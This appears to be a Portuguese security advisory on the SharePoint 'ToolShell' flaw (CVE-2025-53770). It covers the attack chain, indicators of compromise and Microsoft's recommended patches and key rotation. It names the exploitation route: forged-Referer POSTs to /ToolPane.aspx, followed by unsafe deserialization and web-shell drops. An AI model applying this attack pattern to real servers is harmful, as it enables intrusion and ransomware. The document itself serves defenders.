A exploração ocorre por meio de uma cadeia de ataques que combina as vulnerabilidades CVE-2025-49706 (bypass de autenticação via spoofing) e CVE-2025-49704 (deserialização insegura), possibilitando o controle total dos sistemas afetados.
A ameaça é classificada com CVSS 9.8 (Crítica) e já comprometeu dezenas de organizações públicas e privadas. Este artigo técnico detalha os vetores de ataque, os impactos operacionais, os indicadores de comprometimento (IoCs) e as ações recomendadas de mitigação com base em orientações oficiais da Microsoft.
Nota importante
• Se você utiliza Microsoft SharePoint na nuvem da Microsoft, como parte do pacote Microsoft 365, ESSA VULNERABILIDADE NÃO SE APLICA A VOCÊ. • Se você usa sua própria instalação Microsoft SharePoint on-premises, seja no seu datacenter físico ou em colocation privado, ESSE ALERTA SE APLICA A VOCÊ.
Introdução
A vulnerabilidade CVE-2025-53770, apelidada de ToolShell, é uma falha crítica de execução remota de código (RCE) que afeta servidores on-premises do Microsoft SharePoint. Ela é uma variante da vulnerabilidade anterior CVE-2025-49706 e está sendo ativamente explorada em ataques reais. A exploração ocorre por meio de uma cadeia de vulnerabilidades que combina:
CVE-2025-49706: Permite bypass de autenticação por meio de técnicas de spoofing de rede, proporcionando acesso não autenticado aos sistemas.
CVE-2025-49704: Explora uma deserialização insegura de objetos manipulados, permitindo execução remota de código e acesso autenticado subsequente.
Essa cadeia de exploração, publicamente conhecida como ToolShell, foi demonstrada na competição Pwn2Own Berlin em maio de 2025 e possibilita que atores maliciosos obtenham controle total sobre os servidores SharePoint afetados. Os impactos incluem:
Acesso irrestrito ao conteúdo: Arquivos, configurações internas e sistemas de arquivos armazenados no SharePoint.
Execução remota de código: Capacidade de executar comandos maliciosos na rede interna, incluindo a implantação de web shells (.aspx), executáveis (.exe) e bibliotecas dinâmicas (.dll).
Persistência de acesso: Extração de chaves criptográficas (ValidationKey e DecryptionKey), permitindo a criação de tokens de autenticação forjados, mesmo após a aplicação de patches.
Escalada de ataques: Recentemente, observou-se o uso de técnicas de criptografia de arquivos e a distribuição do ransomware Warlock, indicando um aumento no potencial destrutivo dos ataques.
A vulnerabilidade está relacionada a uma deserialização insegura de dados não confiáveis no endpoint /ToolPane.aspx, explorado por meio de solicitações HTTP POST com cabeçalhos Referer forjados (ex.: apontando para /_layouts/SignOut.aspx). A pontuação CVSS da CVE-2025-53770 é 9.8 (Crítica), refletindo sua gravidade devido à facilidade de exploração e ao impacto devastador.
A combinação de acesso não autenticado, execução de código e implantação de ransomware amplia o risco, podendo resultar em:
Violações de dados sensíveis.
Interrupções operacionais críticas.
Comprometimento de sistemas interconectados na rede.
Detalhes técnicos
A exploração da ToolShell ocorre em duas etapas principais:
Bypass de autenticação (CVE-2025-49706): Atacantes utilizam técnicas de spoofing para enviar solicitações HTTP POST maliciosas, manipulando cabeçalhos Referer e explorando falhas de validação no endpoint /ToolPane.aspx.
Execução remota de código (CVE-2025-49704): A deserialização insegura de objetos manipulados permite a execução de payloads maliciosos, resultando em RCE. Isso inclui a criação de web shells (ex.: spinstall0.aspx) e a extração de chaves criptográficas.
Os atacantes também evoluíram suas táticas, empregando:
Payloads variados: Além dos tradicionais web shells (.aspx) e executáveis (.exe), também foram detectadas bibliotecas dinâmicas (.dll), ampliando a superfície de ataque.
Ransomware Warlock: Técnicas de criptografia de arquivos e distribuição de ransomware foram detectadas, indicando uma escalada no impacto dos ataques.
Essas táticas demonstram a sofisticação dos operadores e reforçam a urgência na aplicação das medidas de mitigação descritas a seguir.
Mitigações recomendadas
A Microsoft lançou atualizações de segurança em 21 de julho de 2025 para as versões suportadas do SharePoint Server (2016, 2019 e Subscription Edition), abordando a CVE-2025-53770 e a CVE-2025-53771 (uma vulnerabilidade de spoofing relacionada, mas não explorada ativamente). As seguintes medidas são recomendadas:
Aplicar patches imediatamente: instale as atualizações de segurança mais recentes para SharePoint Server 2016, 2019 e Subscription Edition.
Habilitar o AMSI: O Antimalware Scan Interface, ativado por padrão em atualizações de setembro de 2023 (SharePoint Server 2016/2019) e na versão 23H2 (Subscription Edition), pode bloquear exploits não autenticados.
Implantar o Microsoft Defender Antivirus: Ative o Defender em todos os servidores SharePoint para detectar e mitigar atividades maliciosas.
Rotacionar chaves criptográficas: Antes e após aplicar patches, rotacione as chaves ValidationKeye DecryptionKey do ASP.NET e reinicie o servidor IIS.
Desconectar servidores expostos: Servidores SharePoint voltados para a internet, especialmente versões obsoletas (ex.: SharePoint Server 2013), devem ser desconectados até serem atualizados.
Monitorar logs: Verifique solicitações POST ao endpoint /_layouts/15/ToolPane.aspx e a criação de arquivos suspeitos, como spinstall0.aspx.
Restringir privilégios: Audite e minimize privilégios administrativos e de layout no SharePoint.
Bloquear IPs maliciosos: Monitore e bloqueie tráfego de IPs associados aos ataques, como 107.191.58.76, 104.238.159.149, 96.9.125.147 e 45.77.155.170.
A exploração da ToolShell é facilitada pela ausência de autenticação necessária e pela capacidade de extrair chaves criptográficas, garantindo acesso persistente. A introdução do ransomware Warlock eleva o risco, podendo causar perdas financeiras e operacionais significativas.
Conclusão
A vulnerabilidade CVE-2025-53770 (ToolShell), combinada com as falhas CVE-2025-49706 e CVE-2025-49704, representa uma ameaça crítica para servidores SharePoint on-premises. A aplicação imediata de patches, a habilitação do AMSI, a rotação de chaves criptográficas e o monitoramento contínuo são essenciais para mitigar os riscos. A escalada para ataques de ransomware, como o Warlock, reforça a necessidade de uma resposta rápida e coordenada. Para mais detalhes, consulte as orientações oficiais da Microsoft Microsoft:
